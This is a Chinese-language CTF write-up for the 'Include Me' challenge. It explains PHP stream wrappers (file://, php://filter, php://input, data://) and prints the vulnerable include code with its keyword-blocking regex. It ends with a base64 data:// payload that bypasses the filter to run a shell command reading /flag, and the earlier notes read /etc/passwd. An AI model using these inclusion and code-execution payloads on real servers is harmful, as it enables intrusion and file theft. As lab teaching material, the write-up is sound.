题目链接

newstarCTF 2024 Include Me

伪协议

https://www.cnblogs.com/wjrblogs/p/12285202.html

我理解的php伪协议就是,php提供了一种方法用来表示文件,我们可以在url的参数里面使用这个来上传文件或者读取文件

file://

用于访问文件(绝对路径、相对路径、网络路径)

file=file:///etc/passswd

php://

访问输入输出流

php://filter

读取源代码并进行base64编码输出

cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)

php://input

执行POST数据中的php代码

http://127.0.0.1/cmd.php?cmd=php://input

POST数据:<?php phpinfo()?>

data://

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

题目分析

源码:

<?php
highlight_file(__FILE__);
function waf(){
if(preg_match("/<|\?|php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
die("兄弟你别包");
};
}
if(isset($_GET['phpinfo'])){
phpinfo();
}

//兄弟你知道了吗?
if(!isset($_GET['iknow'])){
header("Refresh: 5;url=https://cn.bing.com/search?q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
}

waf();
include $_GET['me'];
echo "兄弟你好香";
?>

我们的想法就是me这个参数包含一个php文件,能够读取flag,但是me这个参数有几点要求:

不能有

< (小于号)

? (问号)

php (不区分大小写,因为尾部有 i)

> (大于号)

echo

filter

flag

system

file

%

&

=

` (反引号)

eval

可以看到没有data,我们可以使用data这个伪协议

http://127.0.0.1:58958/?me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTsgPz4

最终要把=去掉,还能解析base64